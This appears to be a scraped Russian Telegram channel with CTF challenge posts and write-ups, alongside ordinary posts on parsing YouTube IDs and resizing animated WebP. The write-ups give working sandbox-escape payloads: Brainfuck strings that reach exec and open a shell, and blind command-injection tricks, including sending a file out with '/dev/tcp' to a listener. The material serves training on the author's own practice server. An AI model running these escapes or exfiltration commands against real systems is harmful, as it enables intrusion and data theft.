Побег с помощью Brainfuck
📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
#⃣ #CTF #ЗадачиCTF #Jail
🐞 БАГодельня: Канал // Чат
📖 В продолжение темы с интерактивом, публикую новую задачку на нестандартную логику. Про аиста, кажется, был интерес порешать, но не хватило времени – описание решения быстро опубликовал. Исправляю эту проблему: разбор задачи опубликую через неделю, должно хватить времени спокойно покопаться. И чтобы было вообще все по-настоящему, развернул сервер, на котором можно проверить свое решение и получить флаг.
📌 Суть задачи: пробиться через проверки ввода и получить данные из текстового файла flag.txt, он лежит на сервере рядом со скриптом, с которым происходит «общение».
Скрипт игнорирует сообщения длиной более 200 символов и все символы, кроме тех, что есть в алфавите языка Brainfuck. Код с сервера предоставляется для изучения и отладки локально. Скрипт написан на python и полностью повторяет логику brainfuck, выполняя транслитерацию ввода: код брайнфака переводит в питон и потом выполняет через exec.
📖 Это задачка из категории Jail (тюрьма) —тип задач в CTF, где участник оказывается в ограниченной среде (например, внутри Python-интерпретатора, Bash-оболочки, специального языка вроде Brainfuck и тд) и должен найти способ "сбежать" из этой среды, чтобы выполнить произвольные команды или прочитать флаг на сервере.
❗️ Задача доступна на сервере, данные для подключения:
nc ctf.owl-dev.ru 1337
Скрипт с сервера для изучения и локальной отладки: скачать.
Описание решения выйдет в обед воскресенья, 10 августа.
Коллективные обсуждения и решения приветствуются – они в комментариях.
Кто первый решит, тот молодец 😁
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤3🤔3
Упрощаем вставку видео с YouTube
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
📖 Когда компьютер – это основной рабочий инструмент, а множество программ и сайтов используются ежедневно, то незаметно для самого себя формируются шаблоны поведения с тем или иным интерфейсом. Уже не задумываясь, автоматически тянется курсор к крестику, чтобы закрыть окно, жмем enter для отправки формы, F12 для вызова консоли в браузере, а при загрузке аватарки выбираем файлы с расширениями png или jpeg, но никак не exe. И еще много подобных мелочей, которые становятся рефлексами, а не осмысленными действиями. Такой же эффект может случиться и при разработке любого функционала, с которым взаимодействует пользователь. Для разработчика, который регулярно реализовывает один и тот же кусочек логики, такой функционал становится предельно очевидным и уже интуитивно понятным в использовании. Но это совсем не значит, что такой же опыт имеют и пользователи, для которых строится приложение. Об этом важно помнить и осмысленно подходить к отладке, оптимизации и валидации функционала, с которым будут работать живые люди.
📌 Хороший пример, который демонстрирует то, что я описал в первом абзаце, это вставка видео с YouTube в каком-нибудь пользовательском интерфейсе. Это может быть как админка для контентщиков, так и пользовательский кусок приложения. Для разработчика, который обрабатывает, хранит и выводит потом контент, очевидно – нужно вставлять iframe. Четыре клика: открыл ролик, под видео нажать «Поделиться», потом кнопку «Встроить» и скопировать html-код сгенерированный YouTube. А для пользователя это ЦЕЛЫХ четыре клика, и они совсем не интуитивные. Нужно найти все эти кнопки и потом понять, что конкретно скопировать и куда потом вставить в интерфейсе управления контентом. Очуметь можно, если делать такое в первый раз.
📌 По опыту могу сказать, что в контент пихают все, что только можно, а код iframe всегда в последнюю очередь. Запихнуть можно четыре разных вариации данных: просто ссылка на сам ролик, которая открывается в адресной строке браузера. Ссылка, которая сразу появляется в попапе «Поделиться». Третье – ссылка из кода iframe. И только четвертым будет весь код вставки, который и ожидается в интерфейсе.
❗️ Все эти вариации можно провалидировать при вставке и ругаться на пользователя, просить вставить корректные данные. А пользователь в ответ будет плеваться и ругать разработчиков логики и интерфейса. Но пользователя не обязательно мучать, и не дергаться каждый раз на сообщения, что вставка видео не работает. Такую ситуацию легко обработать – пусть суют все что угодно, из всех этих данных можно получить то, что нужно для дальнейшей обработки.
Для вывода видео с YouTube достаточно иметь только ID видео. Он хранится во всех вариациях ссылки, который могут притащить пользователи. Просто обрабатываем эти варианты и дергаем из данных ID, а уже при выводе или при сохранении контента формируем остатки ссылки в валидном формате.
👨💻 К примеру, у нас есть ролик с ютуба, который нужно вставить фреймом в контент. Вытаскиваем ID видео из любого варианта данных, для этого хватит одной регулярки:
const regex = /(?:youtube\.com\/watch\?v=|youtu\.be\/|youtube\.com\/embed\/)([a-zA-Z0-9_-]+)/;
const id1 = 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'.match(regex)[1];
const id2 = 'https://youtu.be/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id3 = 'https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa'.match(regex)[1];
const id4 = '<iframe ... src="https://www.youtube.com/embed/dQw4w9WgXcQ?si=3oKOZGyuwtdmvpMa" ...'.match(regex)[1];
console.log(id1, id2, id3, id4);
Получив id, можно сформировать любую ссылку или обертку, которая точно будет валидной. И все довольны – валидные данные сохранили, а пользователь пихает все, что ему удобно и привычно взять для вставки.
Все тоже самое применимо и к любым другим сервисам и вставкам, не только к видео с ютуба.
👻 Бонус
По id видоса можно дернуть с ютуба картинку-превью, сформировав ссылку по шаблону:
https://img.youtube.com/vi/dQw4w9WgXcQ/0.jpg, где dQw4w9WgXcQ – это id.
👍6🔥4🥴2 1
Побег с помощью Brainfuck. Решение
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из прошлого поста про Brainfuck.
📖 Суть задачи: пробиться через валидацию строки ввода и выполнить код на сервере для чтения данных из файла flag.txt. Валидная строка — длина менее 200 символов, содержит только алфавит Brainfuck (8 символов:
[, ], <, >, +, -, ., ,).Код задачи показывает, что символы Brainfuck интерпретируются в Python и выполняются через
exec. Нужно написать код на Brainfuck, который преобразуется в Python-код и достает данные из файла.📌 Решений тут может быть много. Опишу четыре в порядке их длины строки:
1. Кодируем код питона print(open('flag.txt').read()) в Brainfuck с помощью онлайн генератора: ссылка. Длина строки 195 символов.
++++++++[>++++++++++++++>+++++>++++++++++++>++++++<<<<-]>.++.---------.+++++.++++++.>.<-----.+.>>+++++.<<--.>.-.>+.<<--.>>-----.++++++.>--.<<<++++++++.++++.----.>.++.>>.<<<--.>>--.----.+++.<-.+..
2. Кодируем код питона exec(input()) и заставляем его принять уже любой чистый код, который будет выполняться без ограничений, а потом отправляем тот же print(open('flag.txt').read()). Длина строки на брайнфак – 88 символов.
++++++++++[>++++++++++>++++++++++++>++++<<<-]>+.>.<.--.>>.<<++++++.+++++.++.>---.-.>.+..
print(open('flag.txt').read())
3. У Brainfuck, кроме кодирования строк, есть еще возможность передать запятую и это будет означать то, что сервер считает один печатный символ из строки ввода. Такой символ проскочит мимо валидации. Нам нужно отправить 30 символов для выполнения чтения файла, значит шлем 30 пар запятой и точки: ,.,.,. и тд. После этого засылаем все тот же print(open('flag.txt').read()). Длина строки для решения – 60 символов
,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.
print(open('flag.txt').read())
4. В Brainfuck так же есть и циклы, можно их использовать для оптимизации третьего решения. Можем написать бесконечный цикл, который будет считывать ввод. Такой цикл остановится, когда будет отправлен нулевой байт – 0x00. Нулевой байт с консоли отправляется командой CTRL + @ или CTRL + пробел, зависит от оболочки.
Цикл объявляется передачей 10 плюсов, в а квадратных скобках указываем то, что будем зацикливать. И чтобы было интереснее, импортируем в питон os и вызовем оболочку shell для выполнения команд прямо на сервере. Итоговый результат – 14 символов на Brainfuck:
> nc ctf.owl-dev.ru 1337
++++++++++[.,]
import os
os.system('sh')
^@ # нулевой байт для остановки цикла
cat flag.txt
📌 Если есть еще интересные решения – присылайте их в комментарии. С задачкой справилось 9 человек, кто в личку присылал решения и флаги. Значит формат интересный и попробуем еще что-то подобное устроить.
📌 Задача на сервере будет остановлена сегодня в 00:00 по МСК, но код в посте остался прикреплен, можно локально потренироваться. Исходники: скачать.
Сегодня еще можно попробовать помучить сервер, подключение:
nc ctf.owl-dev.ru 1337❗️ Было несколько запросов, чтобы заранее анонсировать время выхода новой задачи. Объявляю: новая задача будет опубликована завтра – 10 августа в 12:00 по МСК времени.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4❤1👏1 1
Задача «Vibe Shell»
Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.
📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.
❗️Подключение к серверу:
❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.
📅 Решение опубликую: 16 августа в 12:00 по МСК.
🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.
———
#⃣ #CTF #ЗадачиCTF #misc
🐞 БАГодельня: Канал // Чат
Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.
📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.
❗️Подключение к серверу:
nc ctf.owl-dev.ru 1337 ❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.
📅 Решение опубликую: 16 августа в 12:00 по МСК.
🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥8🤔5 2
Обработка анимированных webp изображений
📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.
Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.
📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (
– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (
– Следующее магическое число – (
– Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.
📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
👨💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.
И функция для вызова ImageMagick, которая сделает ресайз изображения:
На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.
Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.
📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (
52 49 46 46), которое обозначает начало файла формата RIFF (Resource Interchange File Format)– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (
52 49 46 46 + size) – Следующее магическое число – (
57 45 42 50), оно определяет формат файла webp – Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
– 0b00000001 Есть альфа-канал (прозрачность)
– 0b00000010 Есть анимация
– 0b00000100 Есть EXIF-метаданные
– 0b00001000 Есть XMP-метаданные
– 0b00010000 Есть ICC-профиль
❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.
📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
magick anim.webp -coalesce -resize 500x -layers CompareAny output-anim.webp
👨💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.
# Проверка, содержит webp анимацию или нет
def is_animated_webp(file_path):
with open(file_path, "rb") as f:
data = f.read(17)
# Проверяем сигнатуру анимированного WebP (RIFF + WEBPVP8X + ANIM)
is_riff = data.startswith(b'RIFF')
is_webp = data[8:12] == b'WEBP'
is_vp8x = data[12:16] == b'VP8X'
has_animation = (data[16] & 0b00000010) != 0 # Проверка флага анимации
return is_riff and is_webp and is_vp8x and has_animation
И функция для вызова ImageMagick, которая сделает ресайз изображения:
def resize_webp(input_path, output_path, target_width):
if is_animated_webp(input_path):
# Анимированный WebP: обрабатываем с учетом кадров
command = [
'magick',
input_path,
'-coalesce', # Восстанавливаем полные кадры
'-resize', f'{target_width}x', # Ресайз по ширине
'-layers', 'CompareAny', # Оптимизация анимации
output_path
]
else:
# Статичный WebP
command = [
'magick',
input_path,
'-resize', f'{target_width}x',
output_path
]
# Запускаем ImageMagick
subprocess.run(command, check=True)
На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
7❤6🔥6👍2 1
Задача категории OSINT «Отголосок прошлого»
📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.
К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.
❗️ Описание задачи «Отголосок прошлого»:
Картинка для задания: скачать.
Флаг сдавать в формате:
———
📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove
🐞 Автор задачи: Дмитрий Кустовский из команды БАГодельня.
Решение этой задачи выйдет на следующей неделе.
🏆 Первый решивший — молодец! Погнали!
———
#⃣ #CTF #ЗадачиCTF #OSINT
🐞 БАГодельня: Канал // Чат
📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.
К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.
❗️ Описание задачи «Отголосок прошлого»:
Когда-то на этом месте стояло здание, где сейчас стоит фонтан. Власти настолько хотели демонтировать здание, что применяли взрывчатку, и даже, по некоторым сведениям, использовался танк.
Картинка для задания: скачать.
Флаг сдавать в формате:
BugCTF{Building_Name}. Не чувствителен к регистру. Название здания на английском, два слова!———
📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove
Решение этой задачи выйдет на следующей неделе.
🏆 Первый решивший — молодец! Погнали!
———
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥6🤔3❤2 1
Задача «Vibe Shell». Решение
Решение задачки из поста от 10 августа: описание задачи.
❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.
📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.
Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.
😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.
1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде
Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.
2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов:
3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль
4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP:
Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит:
❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.
📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.
———
#⃣ #CTF #РазборыЗадач
🐞 БАГодельня: Канал // Чат
Решение задачки из поста от 10 августа: описание задачи.
❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.
📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.
Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.
😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.
1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде
ls path/folder/secr*. В такой команде звездочка означает любое продолжение пути. Если сервер отвечает успехом, значит ищем следующий символ. Файл лежит по пути /home/ctfuser/secret.txt. Дале таким же перебором, по одному символу можно считать и содержимое файла, используя такую команду: cat /home/ctfuser/secret.txt | cut -c {position} | grep -q '{char}'. Где {position}, это позиция символа в файле, а {char} — это символ для сравнения. Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.
2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов:
ls -la >&0 и для чтения cat secret.txt >&0. 3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль
python3 -c "код", и сервер выполняет код. И уже дальше с помощью скрипта нужно просканировать папку, собрать данные и отправить их к себе на эндпоинт. А когда файл найдет, таким же образом прочитать данные и заслать их к себе на сервер для чтения.4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP:
cat secret.txt > /dev/tcp/{IP}/{PORT}Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит:
nc -l -p {PORT}❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.
📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.
———
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4❤2 2
Социальный опрос в БАГодельне
❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.
❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.
❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.
⁉️ А теперь внимание, опрос!
❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.
❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.
❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.
⁉️ А теперь внимание, опрос!
👍6❤3🔥1
Какие форматы постов хочется видеть чаще?
Anonymous Poll
46%
Новые задачи с CTF, чтобы порешать
47%
Разборы задач с CTF
48%
Посты по разработке
40%
Верни посты с кодревью!
31%
Не хватает историй и мыслей
❤4 2
Как относитесь к задачам, которые тут запускаем раз в неделю:
Anonymous Poll
15%
Решаю, все ок
8%
Решаю, но хочется полегче
4%
Решаю, но хочется посложнее
18%
Хочу еще других категорий задач
58%
НЕ решаю, но интересны разборы
14%
НЕ решаю и НЕ интересны разборы
❤4 3
Задача «Тихий страж»
📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.
📌 Описание задачи:
